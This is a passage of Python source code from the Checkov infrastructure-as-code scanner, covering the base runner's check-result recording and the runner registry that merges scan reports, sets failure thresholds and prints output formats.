runner_filter: RunnerFilter, root_folder: str | Path | None\n    ) -> None:\n        \"\"\"Adds Python check results to given report\"\"\"\n\n        for file_path in self.definitions.keys():\n            self.pbar.set_additional_data({'Current File Scanned': os.path.relpath(file_path, root_folder)})\n            skipped_checks = collect_suppressions_for_context(self.definitions_raw[file_path])\n\n            if registry.report_type == CheckType.GITLAB_CI:\n                registry.definitions_raw = self.definitions_raw[file_path]\n            results = registry.scan(file_path, self.definitions[file_path], skipped_checks, runner_filter)  # type:ignore[arg-type] # this is overridden in the subclass\n            for key, result in results.items():\n                result_config = result[\"results_configuration\"]\n                start = 0\n                end = 0\n                check = result.pop(\"check\", None)  # use pop to remove Check class which is not serializable from\n                if check is None:\n                    continue\n\n                # result record\n                if result_config:\n                    end, start = self.get_start_end_lines(end, result_config, start)\n                    if start == -1 and end == -1:\n                        logging.info(f\"Skipping line in file path {file_path} in key {key}\")\n                        continue\n                if platform.system() == \"Windows\":\n                    root_folder = os.path.split(file_path)[0]\n\n                if self.check_type == CheckType.GITHUB_ACTIONS:\n                    record: \"Record\" = GithubActionsRecord(\n                        check_id=check.id,\n                        bc_check_id=check.bc_id,\n                        check_name=check.name,\n                        check_result=result,\n                        code_block=self.definitions_raw[file_path][start - 1:end + 1],\n                        file_path=f\"/{os.path.relpath(file_path, root_folder)}\",\n                        file_line_range=[start, end + 1],\n                        resource=self.get_resource(file_path, key, check.supported_entities, start, end),  # type:ignore[arg-type]  # key is str not BaseCheck\n                        evaluations=None,\n                        check_class=check.__class__.__module__,\n                        file_abs_path=os.path.abspath(file_path),\n                        entity_tags=None,\n                        severity=check.severity,\n                        job=self.map_file_path_to_gha_metadata_dict[file_path][\"jobs\"].get(end, ''),\n                        triggers=self.map_file_path_to_gha_metadata_dict[file_path][\"triggers\"],\n                        workflow_name=self.map_file_path_to_gha_metadata_dict[file_path][\"workflow_name\"]\n                    )\n                else:\n                    record = Record(\n                        check_id=check.id,\n                        bc_check_id=check.bc_id,\n                        check_name=check.name,\n                        check_result=result,\n                        code_block=self.definitions_raw[file_path][start - 1:end + 1],\n                        file_path=f\"/{os.path.relpath(file_path, root_folder)}\",\n                        file_line_range=[start, end + 1],\n                        resource=self.get_resource(file_path, key, check.supported_entities, start, end),  # type:ignore[arg-type]  # key is str not BaseCheck\n                        evaluations=None,\n                        check_class=check.__class__.__module__,\n                        file_abs_path=os.path.abspath(file_path),\n                        entity_tags=None,\n                        severity=check.severity,\n                    )\n                report.add_record(record)\n            self.pbar.update()\n        self.pbar.close()\n\n    def add_graph_check_results(self, report: Report, runner_filter: RunnerFilter) -> None:\n        \"\"\"Adds graph check results to given report\"\"\"\n\n        root_folder = self.root_folder\n        graph_checks_results = self.run_graph_checks_results(runner_filter, self.check_type)\n\n        for check, check_results in graph_checks_results.items():\n            for check_result in check_results:\n                entity = check_result[\"entity\"]\n                entity_file_path: str = entity[CustomAttributes.FILE_PATH]\n\n                if platform.system() == \"Windows\":\n                    root_folder = os.path.split(entity_file_path)[0]\n\n                clean_check_result: _CheckResult = {\n                    \"result\": check_result[\"result\"],\n                    \"evaluated_keys\": check_result[\"evaluated_keys\"],\n                }\n\n                start_line = entity[START_LINE]\n                end_line = entity[END_LINE]\n                code_block = self.get_code_block(entity=entity)\n\n                self.add_inline_suppression(check=check, entity=entity, check_result=clean_check_result)\n\n                if self.check_type == CheckType.GITHUB_ACTIONS:\n                    if entity.get(CustomAttributes.BLOCK_NAME) == 'permissions' and start_line == 0 and end_line == 0:\n                        # reconstruct permissions start-end lines since we do not have that information during graph build\n                        for line in self.definitions_raw[entity_file_path]:\n                            if line and 'permissions' in line[1]:\n                                start_line = line[0]\n                                end_line = line[0]\n                                break\n\n                    entity[CustomAttributes.ID] = self.get_resource(entity_file_path, entity[CustomAttributes.ID],\n                                                                    entity[CustomAttributes.RESOURCE_TYPE],\n                                                                    start_line, end_line, graph_resource=True)\n                    record: \"Record\" = GithubActionsRecord(\n                        check_id=check.id,\n                        bc_check_id=check.bc_id,\n                        check_name=check.name,\n                        check_result=clean_check_result,\n                        code_block=code_block,\n                        file_path=f\"/{os.path.relpath(entity_file_path, root_folder)}\",\n                        file_line_range=[start_line, end_line + 1],\n                        resource=entity[CustomAttributes.ID],\n                        evaluations=None,\n                        check_class=check.__class__.__module__,\n                        file_abs_path=os.path.abspath(entity_file_path),\n                        entity_tags=None,\n                        severity=check.severity,\n                        job=self.map_file_path_to_gha_metadata_dict[entity_file_path][\"jobs\"].get(end_line, ''),\n                        triggers=self.map_file_path_to_gha_metadata_dict[entity_file_path][\"triggers\"],\n                        workflow_name=self.map_file_path_to_gha_metadata_dict[entity_file_path][\"workflow_name\"]\n                    )\n                else:\n                    record = Record(\n                        check_id=check.id,\n                        bc_check_id=check.bc_id,\n                        check_name=check.name,\n                        check_result=clean_check_result,\n                        code_block=code_block,\n                        file_path=f\"/{os.path.relpath(entity_file_path, root_folder)}\",\n                        file_line_range=[start_line, end_line + 1],\n                        resource=entity[CustomAttributes.ID],\n                        evaluations=None,\n                        check_class=check.__class__.__module__,\n                        file_abs_path=os.path.abspath(entity_file_path),\n                        entity_tags=None,\n                        severity=check.severity,\n                    )\n\n                record.set_guideline(check.guideline)\n                report.add_record(record=record)\n\n    def get_resource(self, file_path: str, key: str, supported_entities: Iterable[str],\n                     start_line: int = -1, end_line: int = -1, graph_resource: bool = False) -> str:\n        return f\"{file_path}.{key}\"\n\n    @abstractmethod\n    def get_start_end_lines(self, end: int, result_config: dict[str, Any], start: int) -> tuple[int, int]:\n        raise Exception(\"should be handled by derived class\")\n\n    @abstractmethod\n    def import_registry(self) -> BaseCheckRegistry:\n        raise Exception(\"registry should be imported by deriving class\")\n\n    def require_external_checks(self) -> bool:\n        return True\n\n    @staticmethod\n    def _change_files_path_to_relative(report: Report) -> None:\n        for record in report.get_all_records():\n            record.file_path = record.file_path.replace(os.getcwd(), \"\")\n            record.resource = record.resource.replace(os.getcwd(), \"\")\n\n    def build_definitions_context(\n        self,\n        definitions: dict[str, dict[str, Any] | list[dict[str, Any]]],\n        definitions_raw: dict[str, list[tuple[int, str]]],\n    ) -> dict[str, dict[str, Any]]:\n        # if needed, should be overridden in the actual runner class\n        return {}\n\n    def get_code_block(self, entity: dict[str, Any]) -> list[tuple[int, str]]:\n        \"\"\"Returns the code block either from context or definitions_raw\"\"\"\n\n        code_block: list[tuple[int, str]] = []\n\n        entity_file_path = entity[CustomAttributes.FILE_PATH]\n\n        if self.context:\n            # not all runners have the 'context' attribute populated\n            entity_id = entity[CustomAttributes.ID]\n            entity_context = self.context[entity_file_path].get(entity_id)\n\n            if entity_context:\n                code_block = entity_context.get(\"code_lines\")\n            else:\n                logging.info(f\"Could not find context for resource {entity_id} in file {entity_file_path}\")\n\n        if not code_block:\n            # fallback, if context extraction failed\n            start_line = entity[START_LINE]\n            end_line = entity[END_LINE]\n            code_block = self.definitions_raw[entity_file_path][start_line - 1:end_line + 1]\n\n        return code_block\n\n    def add_inline_suppression(self, check: BaseGraphCheck, entity: dict[str, Any], check_result: _CheckResult) -> None:\n        \"\"\"Adjusts check result, if inline suppressed\"\"\"\n\n        if self.context:\n            # not all runners have the 'context' attribute populated\n            entity_file_path = entity[CustomAttributes.FILE_PATH]\n            entity_id = entity[CustomAttributes.ID]\n            entity_context = self.context[entity_file_path].get(entity_id)\n\n            if entity_context:\n                skipped_check = next(\n                    (\n                        skipped_check\n                        for skipped_check in entity_context.get(\"skipped_checks\", [])\n                        if skipped_check[\"id\"] in (check.id, check.bc_id)\n                    ),\n                    None,\n                )\n                if skipped_check:\n                    check_result[\"result\"] = CheckResult.SKIPPED\n                    check_result[\"suppress_comment\"] = skipped_check.get(\"suppress_comment\", \"\")\n\n    def _get_triggers(self, definition: dict[str, Any]) -> set[str]:\n        triggers_set = set()\n        triggers = definition.get(\"on\")\n        try:\n            if isinstance(triggers, str):\n                triggers_set.add(triggers)\n            elif isinstance(triggers, dict):\n                triggers_set = {key for key in triggers.keys() if key != START_LINE and key != END_LINE}\n\n        except Exception as e:\n            logging.info(f\"failed to parse workflow triggers due to:{str(e)}\")\n        return triggers_set\n\n    def _get_jobs(self, definition: dict[str, Any]) -> dict[int, str]:\n        end_line_to_job_name_dict: dict[int, str] = {}\n        jobs = definition.get('jobs')\n        if jobs:\n            for job_name, job_instance in jobs.items():\n                if not isinstance(job_instance, dict):\n                    continue\n                if job_name != START_LINE and job_name != END_LINE:\n                    end_line: int = job_instance.get(END_LINE, -1)\n                    end_line_to_job_name_dict[end_line] = job_name\n\n                    steps: list[dict[str, Any]] = [step for step in job_instance.get('steps', []) or [] if step]\n                    if not steps:\n                        continue\n\n                    for step in steps:\n                        if not isinstance(step, dict) or END_LINE not in step:\n                            continue\n                        end_line_to_job_name_dict[step.get(END_LINE)] = job_name  # type: ignore[index] #\n        return end_line_to_job_name_dict\n"
  },
  {
    "path": "checkov/common/runners/runner_registry.py",
    "content": "from __future__ import annotations\n\nimport argparse\nimport itertools\nimport json\nimport logging\nimport os\nimport re\nimport platform\nimport sys\nimport time\n\nfrom collections import defaultdict\nfrom collections.abc import Iterable\nfrom io import StringIO\nfrom pathlib import Path\nfrom typing import List, Dict, Any, Optional, cast, TYPE_CHECKING, Type, Literal\nfrom checkov.common.bridgecrew.check_type import CheckType\n\nfrom checkov.common.bridgecrew.code_categories import CodeCategoryMapping, CodeCategoryType\nfrom checkov.common.bridgecrew.platform_integration import bc_integration\nfrom checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import \\\n    integration as metadata_integration\nfrom checkov.common.bridgecrew.integration_features.features.repo_config_integration import \\\n    integration as repo_config_integration\nfrom checkov.common.bridgecrew.integration_features.features.licensing_integration import \\\n    integration as licensing_integration\nfrom checkov.common.bridgecrew.integration_features.integration_feature_registry import integration_feature_registry\nfrom checkov.common.bridgecrew.platform_errors import ModuleNotEnabledError\nfrom checkov.common.bridgecrew.severities import Severities\nfrom checkov.common.images.image_referencer import ImageReferencer\nfrom checkov.common.logger_streams import logger_streams\nfrom checkov.common.models.enums import ErrorStatus, ParallelizationType\nfrom checkov.common.output.csv import CSVSBOM\nfrom checkov.common.output.cyclonedx import CycloneDX\nfrom checkov.common.output.gitlab_sast import GitLabSast\nfrom checkov.common.output.report import Report, merge_reports\nfrom checkov.common.output.sarif import Sarif\nfrom checkov.common.output.spdx import SPDX\nfrom checkov.common.parallelizer.parallel_runner import parallel_runner\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\nfrom checkov.common.sast.consts import CDKLanguages\nfrom checkov.common.typing import _ExitCodeThresholds, _BaseRunner, _ScaExitCodeThresholds, LibraryGraph\nfrom checkov.common.util import data_structures_utils\nfrom checkov.common.util.banner import default_tool as tool_name\nfrom checkov.common.util.consts import DEFAULT_EXTERNAL_MODULES_DIR, S3_UPLOAD_DETAILS_MESSAGE\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\nfrom checkov.common.util.json_utils import CustomJSONEncoder\nfrom checkov.common.util.secrets_omitter import SecretsOmitter\nfrom checkov.common.util.type_forcers import convert_csv_string_arg_to_list, force_list\nfrom checkov.logging_init import log_stream, erase_log_stream\nfrom checkov.sca_image.runner import Runner as image_runner\nfrom checkov.common.secrets.consts import SECRET_VALIDATION_STATUSES\nfrom checkov.terraform.context_parsers.registry import parser_registry\nfrom checkov.terraform.tf_parser import TFParser\n\nif TYPE_CHECKING:\n    from checkov.common.output.baseline import Baseline\n    from checkov.common.runners.base_runner import BaseRunner  # noqa\n    from checkov.runner_filter import RunnerFilter\n\nCONSOLE_OUTPUT = \"console\"\nCHECK_BLOCK_TYPES = frozenset([\"resource\", \"data\", \"provider\", \"module\"])\nCYCLONEDX_OUTPUTS = (\"cyclonedx\", \"cyclonedx_json\")\nOUTPUT_CHOICES = [\n    \"cli\",\n    \"csv\",\n    \"cyclonedx\",\n    \"cyclonedx_json\",\n    \"json\",\n    \"junitxml\",\n    \"github_failed_only\",\n    \"gitlab_sast\",\n    \"sarif\",\n    \"spdx\",\n]\nSUMMARY_POSITIONS = frozenset(['top', 'bottom'])\nOUTPUT_DELIMITER = \"\\n--- OUTPUT DELIMITER ---\\n\"\n\n\nclass RunnerRegistry:\n    def __init__(\n        self,\n        banner: str,\n        runner_filter: RunnerFilter,\n        *runners: _BaseRunner,\n        tool: str = tool_name,\n        secrets_omitter_class: Type[SecretsOmitter] = SecretsOmitter,\n    ) -> None:\n        self.logger = logging.getLogger(__name__)\n        add_resource_code_filter_to_logger(self.logger)\n        self.runner_filter = runner_filter\n        self.runners = list(runners)\n        self.banner = banner\n        self.sca_supported_ir_report: Optional[Report] = None\n        self.scan_reports: list[Report] = []\n        self.image_referencing_runners = self._get_image_referencing_runners()\n        self.filter_runner_framework()\n        self.tool = tool\n        self._check_type_to_report_map: dict[str, Report] = {}  # used for finding reports with the same check type\n        self.licensing_integration = licensing_integration  # can be manipulated by unit tests\n        self.secrets_omitter_class = secrets_omitter_class\n        self.check_type_to_graph: dict[str, list[tuple[LibraryGraph, Optional[str]]]] = {}\n        self.check_type_to_resource_subgraph_map: dict[str, dict[str, str]] = {}\n        for runner in runners:\n            if isinstance(runner, image_runner):\n                runner.image_referencers = self.image_referencing_runners\n\n    def run(\n            self,\n            root_folder: Optional[str] = None,\n            external_checks_dir: Optional[List[str]] = None,\n            files: Optional[List[str]] = None,\n            collect_skip_comments: bool = True,\n            repo_root_for_plan_enrichment: list[str | Path] | None = None,\n    ) -> list[Report]:\n        if not self.runners:\n            logging.error('There are no runners to run. This can happen if you specify a file type and a framework that are not compatible '\n                          '(e.g., `--file xyz.yaml --framework terraform`), or if you specify a framework with missing dependencies (e.g., '\n                          'helm or kustomize, which require those tools to be on your system). Running with LOG_LEVEL=DEBUG may provide more information.')\n            return []\n        elif len(self.runners) == 1:\n            runner_check_type = self.runners[0].check_type\n            if self.licensing_integration.is_runner_valid(runner_check_type):\n                reports: Iterable[Report | list[Report]] = [\n                    self.runners[0].run(root_folder, external_checks_dir=external_checks_dir, files=files,\n                                        runner_filter=self.runner_filter,\n                                        collect_skip_comments=collect_skip_comments)]\n            else:\n                # This is the only runner, so raise a clear indication of failure\n                raise ModuleNotEnabledError(f'The framework \"{runner_check_type}\" is part of the \"{self.licensing_integration.get_subscription_for_runner(runner_check_type).name}\" module, which is not enabled in the platform',\n                                            unsupported_frameworks=[runner_check_type])\n        else:\n            valid_runners = []\n            invalid_runners = []\n            platform_integration_data = None\n\n            if parallel_runner.type == ParallelizationType.SPAWN:\n                platform_integration_data = bc_integration.generate_instance_data()\n\n            for runner in self.runners:\n                if self.licensing_integration.is_runner_valid(runner.check_type):\n                    valid_runners.append(\n                        (runner, root_folder, external_checks_dir, files, self.runner_filter, collect_skip_comments, platform_integration_data)\n                    )\n                else:\n                    invalid_runners.append(runner)\n\n            # if all runners are disabled (most likely to occur if the user specified --framework for only disabled runners)\n            # then raise a clear error\n            # if some frameworks are disabled and the user used --framework, log a warning so they see it\n            # if some frameworks are disabled and the user did not use --framework, then log at a lower level so that we have it for troubleshooting\n            if not valid_runners:\n                check_types = [runner.check_type for runner in self.runners]\n                runners_categories = os.linesep.join([f'{runner.check_type}: {self.licensing_integration.get_subscription_for_runner(runner.check_type).name}' for runner in invalid_runners])\n                error_message = f'All the frameworks are disabled because they are not enabled in the platform. ' \\\n                                f'You must subscribe to one or more of the categories below to get results for these frameworks.{os.linesep}{runners_categories}'\n                raise ModuleNotEnabledError(error_message, unsupported_frameworks=check_types)\n            elif invalid_runners:\n                for runner in invalid_runners:\n                    level = logging.INFO\n                    if runner.check_type in self.runner_filter.framework_flag_values:\n                        level = logging.WARNING\n                    logging.log(level, f'The framework \"{runner.check_type}\" is part of the \"{self.licensing_integration.get_subscription_for_runner(runner.check_type).name}\" module, which is not enabled in the platform')\n\n            valid_runners = self._merge_runners(valid_runners)\n\n            parallel_runner_results = parallel_runner.run_function(\n                func=_parallel_run,\n                items=valid_runners,\n                group_size=1,\n            )\n\n            reports = []\n            full_check_type_to_graph = {}\n            full_check_type_to_resource_subgraph_map = {}\n            for result in parallel_runner_results:\n                if result is not None:\n                    report, check_type, graphs, resource_subgraph_map, subprocess_log_stream = result\n                    reports.append(report)\n                    if subprocess_log_stream is not None:\n                        # only sub processes need to add their logs streams,\n                        # the logs of all others methods already exists in the main stream\n                        if parallel_runner.running_as_process():\n                            logger_streams.add_stream(f'{check_type or time.time()}', subprocess_log_stream)\n                    if check_type is not None:\n                        if graphs is not None:\n                            full_check_type_to_graph[check_type] = graphs\n                        if resource_subgraph_map is not None:\n                            full_check_type_to_resource_subgraph_map[check_type] = resource_subgraph_map\n            self.check_type_to_graph = full_check_type_to_graph\n            self.check_type_to_resource_subgraph_map = full_check_type_to_resource_subgraph_map\n\n        merged_reports = self._merge_reports(reports)\n        if bc_integration.bc_api_key:\n            self.secrets_omitter_class(merged_reports).omit()\n\n        post_scan_reports = integration_feature_registry.run_post_scan(merged_reports)\n        if post_scan_reports:\n            merged_reports.extend(post_scan_reports)\n\n        for scan_report in merged_reports:\n            self._handle_report(scan_report, repo_root_for_plan_enrichment)\n\n        if not self.check_type_to_graph:\n            self.check_type_to_graph = {runner.check_type: self.extract_graphs_from_runner(runner) for runner\n                                        in self.runners if runner.graph_manager}\n        if not self.check_type_to_resource_subgraph_map:\n            self.check_type_to_resource_subgraph_map = {runner.check_type: runner.resource_subgraph_map for runner in\n                                                        self.runners if runner.resource_subgraph_map is not None}\n        return self.scan_reports\n\n    def _merge_runners(self, runners: Any) -> list[_BaseRunner]:\n        sast_runner = None\n        cdk_runner = None\n        merged_runners = []\n        for runner in runners:\n            if runner[0].check_type == CheckType.CDK:\n                cdk_runner = runner\n                continue\n            if runner[0].check_type == CheckType.SAST:\n                merged_runners.append(runner)\n                sast_runner = runner\n                continue\n            merged_runners.append(runner)\n\n        if cdk_runner:\n            if sast_runner:\n                for lang in CDKLanguages.set():\n                    sast_runner[0].cdk_langs.append(lang)\n            else:\n                merged_runners.append(cdk_runner)\n        return merged_runners\n\n    def _merge_reports(self, reports: Iterable[Report | list[Report]]) -> list[Report]:\n        \"\"\"Merges reports with the same check_type\"\"\"\n\n        merged_reports = []\n\n        for report in reports:\n            if report is None:\n                # this only happens, when an uncaught exception occurs\n                continue\n\n            sub_reports: list[Report] = force_list(report)\n            for sub_report in sub_reports:\n                if sub_report.check_type in self._check_type_to_report_map:\n                    merge_reports(self._check_type_to_report_map[sub_report.check_type], sub_report)\n                else:\n                    self._check_type_to_report_map[sub_report.check_type] = sub_report\n                    merged_reports.append(sub_report)\n\n                if self.should_add_sca_results_to_sca_supported_ir_report(sub_report, sub_reports):\n                    if self.sca_supported_ir_report:\n                        merge_reports(self.sca_supported_ir_report, sub_report)\n                    else:\n                        self.sca_supported_ir_report = pickle_deepcopy(sub_report)\n\n        return merged_reports\n\n    @staticmethod\n    def should_add_sca_results_to_sca_supported_ir_report(sub_report: Report, sub_reports: list[Report]) -> bool:\n        if sub_report.check_type == 'sca_image' and bc_integration.customer_run_config_response:\n            # The regular sca report\n            if len(sub_reports) == 1:\n                return True\n            # Dup report: first - regular iac, second - IR. we are checking that report fw is in the IR supported list.\n            if len(sub_reports) == 2 and sub_reports[0].check_type in bc_integration.customer_run_config_response.get('supportedIrFw', []):\n                return True\n        return False\n\n    def _handle_report(self, scan_report: Report, repo_root_for_plan_enrichment: list[str | Path] | None) -> None:\n        if metadata_integration.check_metadata:\n            RunnerRegistry.enrich_report_with_guidelines(scan_report)\n        if repo_root_for_plan_enrichment and not self.runner_filter.deep_analysis:\n            enriched_resources = RunnerRegistry.get_enriched_resources(\n                repo_roots=repo_root_for_plan_enrichment,\n                download_external_modules=self.runner_filter.download_external_modules,\n                external_modules_download_path=self.runner_filter.external_modules_download_path,\n            )\n            scan_report = Report(\"terraform_plan\").enrich_plan_report(scan_report, enriched_resources)\n            scan_report = Report(\"terraform_plan\").handle_skipped_checks(scan_report, enriched_resources)\n        integration_feature_registry.run_post_runner(scan_report)\n        self.scan_reports.append(scan_report)\n\n    def save_output_to_file(self, file_name: str, data: str, data_format: str) -> None:\n        try:\n            file_path = Path(file_name)\n            file_path.parent.mkdir(parents=True, exist_ok=True)\n            file_path.write_text(data)\n            logging.info(f\"\\nWrote output in {data_format} format to the file '{file_name}')\")\n        except EnvironmentError:\n            logging.error(f\"\\nAn error occurred while writing {data_format} results to file: {file_name}\",\n                          exc_info=True)\n\n    @staticmethod\n    def is_error_in_reports(reports: List[Report]) -> bool:\n        return any(scan_report.error_status != ErrorStatus.SUCCESS for scan_report in reports)\n\n    @staticmethod\n    def get_fail_thresholds(config: argparse.Namespace, report_type: str) -> _ExitCodeThresholds | _ScaExitCodeThresholds:\n\n        soft_fail = config.soft_fail\n\n        soft_fail_on_checks = []\n        soft_fail_threshold = None\n\n        # these specifically check the --hard-fail-on and --soft-fail-on args, NOT enforcement rules, so\n        # we don't care about SCA as a special case\n\n        # soft fail on the highest severity threshold in the list\n        for val in convert_csv_string_arg_to_list(config.soft_fail_on):\n            if val.upper() in Severities:\n                val = val.upper()\n                if not soft_fail_threshold or Severities[val].level > soft_fail_threshold.level:\n                    soft_fail_threshold = Severities[val]\n            elif val.capitalize() in SECRET_VALIDATION_STATUSES:\n                soft_fail_on_checks.append(val.capitalize())\n            else:\n                soft_fail_on_checks.append(val)\n\n        logging.debug(f'Soft fail severity threshold: {soft_fail_threshold.level if soft_fail_threshold else None}')\n        logging.debug(f'Soft fail checks: {soft_fail_on_checks}')\n\n        hard_fail_on_checks = []\n        hard_fail_threshold = None\n        # hard fail on the lowest threshold in the list\n        for val in convert_csv_string_arg_to_list(config.hard_fail_on):\n            if val.upper() in Severities:\n                val = val.upper()\n                if not hard_fail_threshold or Severities[val].level < hard_fail_threshold.level:\n                    hard_fail_threshold = Severities[val]\n            elif val.capitalize() in SECRET_VALIDATION_STATUSES:\n                hard_fail_on_checks.append(val.capitalize())\n            else:\n                hard_fail_on_checks.append(val)\n\n        logging.debug(f'Hard fail severity threshold: {hard_fail_threshold.level if hard_fail_threshold else None}')\n        logging.debug(f'Hard fail checks: {hard_fail_on_checks}')\n\n        if not config.use_enforcement_rules:\n            logging.debug('Use enforcement rules is FALSE')\n\n        # if there is a severity in either the soft-fail-on list or hard-fail-on list, then we will ignore enforcement rules and skip this\n        # it means that SCA will not be treated as having two different thresholds in that case\n        # if the lists only contain check IDs, then we will merge them with the enforcement rule value\n        elif not soft_fail and not soft_fail_threshold and not hard_fail_threshold:\n            if 'sca_' in report_type:\n                code_category_types = cast(List[CodeCategoryType], CodeCategoryMapping[report_type])\n                category_rules = {\n                    category: repo_config_integration.code_category_configs[category] for category in code_category_types\n                }\n                return cast(_ScaExitCodeThresholds, {\n                    category: {\n                        'soft_fail': category_rules[category].is_global_soft_fail(),\n                        'soft_fail_checks': soft_fail_on_checks,\n                        'soft_fail_threshold': soft_fail_threshold,\n                        'hard_fail_checks': hard_fail_on_checks,\n                        'hard_fail_threshold': category_rules[category].hard_fail_threshold\n                    } for category in code_category_types\n                })\n            else:\n                code_category_type = cast(CodeCategoryType, CodeCategoryMapping[report_type])  # not a list\n                enf_rule = repo_config_integration.code_category_configs[code_category_type]\n\n                if enf_rule:\n                    logging.debug('Use enforcement rules is TRUE')\n                    hard_fail_threshold = enf_rule.hard_fail_threshold\n                    soft_fail = enf_rule.is_global_soft_fail()\n                    logging.debug(f'Using enforcement rule hard fail threshold for this report: {hard_fail_threshold.name}')\n                else:\n                    logging.debug(f'Use enforcement rules is TRUE, but did not find an enforcement rule for report type {report_type}, so falling back to CLI args')\n        else:\n            logging.debug('Soft fail was true or a severity was used in soft fail on / hard fail on; ignoring enforcement rules')\n\n        return {\n            'soft_fail': soft_fail,\n            'soft_fail_checks': soft_fail_on_checks,\n            'soft_fail_threshold': soft_fail_threshold,\n            'hard_fail_checks': hard_fail_on_checks,\n            'hard_fail_threshold': hard_fail_threshold\n        }\n\n    def print_reports(\n            self,\n            scan_reports: List[Report],\n            config: argparse.Namespace,\n            url: Optional[str] = None,\n            created_baseline_path: Optional[str] = None,\n            baseline: Optional[Baseline] = None,\n    ) -> Literal[0, 1]:\n        output_formats: \"dict[str, str]\" = {}\n\n        if config.output_file_path and \",\" in config.output_file_path:\n            output_paths = config.output_file_path.split(\",\")\n            for idx, output_format in enumerate(config.output):\n                output_formats[output_format] = output_paths[idx]\n        else:\n            output_formats = {output_format: CONSOLE_OUTPUT for output_format in config.output}\n\n        exit_codes = []\n        cli_reports = []\n        report_jsons = []\n        sarif_reports = []\n        junit_reports = []\n        github_reports = []\n        cyclonedx_reports = []\n        gitlab_reports = []\n        spdx_reports = []\n        csv_sbom_report = CSVSBOM()\n\n        try:\n            if config.skip_resources_without_violations:\n                for report in scan_reports:\n                    report.extra_resources = set()\n        except AttributeError:\n            # config attribute wasn't set, defaults to False and print extra resources to report\n            pass\n\n        data_outputs: dict[str, str] = defaultdict(str)\n        for report in scan_reports:\n            if not report.is_empty():\n                if \"json\" in config.output:\n                    report_jsons.append(report.get_dict(is_quiet=config.quiet, url=url, s3_setup_failed=bc_integration.s3_setup_failed, support_path=bc_integration.support_repo_path))\n                if \"junitxml\" in config.output:\n                    junit_reports.append(report)\n                if \"github_failed_only\" in config.output:\n                    github_reports.append(report.print_failed_github_md(use_bc_ids=config.output_bc_ids))\n                if \"sarif\" in config.output:\n                    sarif_reports.append(report)\n                if \"cli\" in config.output:\n                    cli_reports.append(report)\n                if \"gitlab_sast\" in config.output:\n                    gitlab_reports.append(report)\n            if not report.is_empty() or len(report.extra_resources):\n                if any(cyclonedx in config.output for cyclonedx in CYCLONEDX_OUTPUTS):\n                    cyclonedx_reports.append(report)\n                if \"spdx\" in config.output:\n                    spdx_reports.append(report)\n                if \"csv\" in config.output:\n                    git_org = \"\"\n                    git_repository = \"\"\n                    if 'repo_id' in config and config.repo_id is not None:\n                        git_org, git_repository = config.repo_id.split('/')\n                    csv_sbom_report.add_report(report=report, git_org=git_org, git_repository=git_repository)\n            logging.debug(f'Getting exit code for report {report.check_type}')\n            exit_code_thresholds = self.get_fail_thresholds(config, report.check_type)\n            exit_codes.append(report.get_exit_code(exit_code_thresholds))\n\n        if \"github_failed_only\" in config.output:\n            github_output = \"\".join(github_reports)\n\n            self._print_to_console(\n                output_formats=output_formats,\n                output_format=\"github_failed_only\",\n                output=github_output,\n            )\n\n            data_outputs[\"github_failed_only\"] = github_output\n        if \"cli\" in config.output:\n            if not config.quiet:\n                print(f\"{self.banner}\\n\")\n\n            cli_output = ''\n\n            if (bc_integration.runtime_run_config_response and bc_integration.runtime_run_config_response.get('isRepoInRuntime', False)):\n                cli_output += f\"The '{bc_integration.repo_id}' repository was discovered In a running environment\\n\\n\"\n\n            if len(cli_reports) > 0:\n                cli_output += cli_reports[0].add_errors_to_output()\n\n            for report in cli_reports:\n                cli_output += report.print_console(\n                    is_quiet=config.quiet,\n                    is_compact=config.compact,\n                    created_baseline_path=created_baseline_path,\n                    baseline=baseline,\n                    use_bc_ids=config.output_bc_ids,\n                    summary_position=config.summary_position,\n                )\n\n            self._print_to_console(\n                output_formats=output_formats,\n                output_format=\"cli\",\n                output=cli_output,\n                url=url,\n                support_path=bc_integration.support_repo_path\n            )\n\n            # Remove colors from the cli output\n            ansi_escape = re.compile(r'(?:\\x1B[@-_]|[\\x80-\\x9F])[0-9:;<=>?]*[ -/]*[@-~]')\n            data_outputs['cli'] = ansi_escape.sub('', cli_output)\n        if \"sarif\" in config.output:\n            sarif = Sarif(reports=sarif_reports, tool=self.tool)\n\n            output_format = output_formats[\"sarif\"]\n            if \"cli\" not in config.output and output_format == CONSOLE_OUTPUT:\n                print(self.banner)\n\n            for report in sarif_reports:\n                if \"cli\" not in config.output and output_format == CONSOLE_OUTPUT:\n                    print(report.print_console(\n                        is_quiet=config.quiet,\n                        is_compact=config.compact,\n                        created_baseline_path=created_baseline_path,\n                        baseline=baseline,\n                        use_bc_ids=config.output_bc_ids,\n                        summary_position=config.summary_position\n                    ))\n\n            if output_format == CONSOLE_OUTPUT:\n                if not config.output_file_path or \",\" in config.output_file_path:\n                    # don't write to file, if an explicit file path was set\n                    sarif.write_sarif_output()\n\n                del output_formats[\"sarif\"]\n\n                if \"cli\" not in config.output:\n                    if url:\n                        print(f\"More details: {url}\")\n                    elif bc_integration.s3_setup_failed:\n                        print(S3_UPLOAD_DETAILS_MESSAGE)\n                    if bc_integration.support_repo_path:\n                        print(f\"\\nPath for uploaded logs (give this to support if raising an issue): {bc_integration.support_repo_path}\")\n                if CONSOLE_OUTPUT in output_formats.values():\n                    print(OUTPUT_DELIMITER)\n\n            data_outputs[\"sarif\"] = json.dumps(sarif.json, cls=CustomJSONEncoder)\n        if \"json\" in config.output:\n            if config.compact and report_jsons:\n                self.strip_code_blocks_from_json(report_jsons)\n\n            report_json_output: \"list[dict[str, Any]] | dict[str, Any]\" = report_jsons\n            if not report_jsons:\n                report_json_output = Report(\"\").get_summary()\n            elif len(report_jsons) == 1:\n                report_json_output = report_jsons[0]\n\n            json_output = json.dumps(report_json_output, indent=4, cls=CustomJSONEncoder)\n\n            self._print_to_console(\n                output_formats=output_formats,\n                output_format=\"json\",\n                output=json_output,\n            )\n\n            data_outputs[\"json\"] = json.dumps(report_json_output, cls=CustomJSONEncoder)\n        if \"junitxml\" in config.output:\n            properties = Report.create_test_suite_properties_block(config)\n\n            if junit_reports:\n                test_suites = [\n                    report.get_test_suite(properties=properties, use_bc_ids=config.output_bc_ids)\n                    for report in junit_reports\n                ]\n            else:\n                test_suites = [Report(\"\").get_test_suite(properties=properties)]\n\n            junit_output = Report.get_junit_xml_string(test_suites)\n\n            self._print_to_console(\n                output_formats=output_formats,\n                output_format=\"junitxml\",\n                output=junit_output,\n            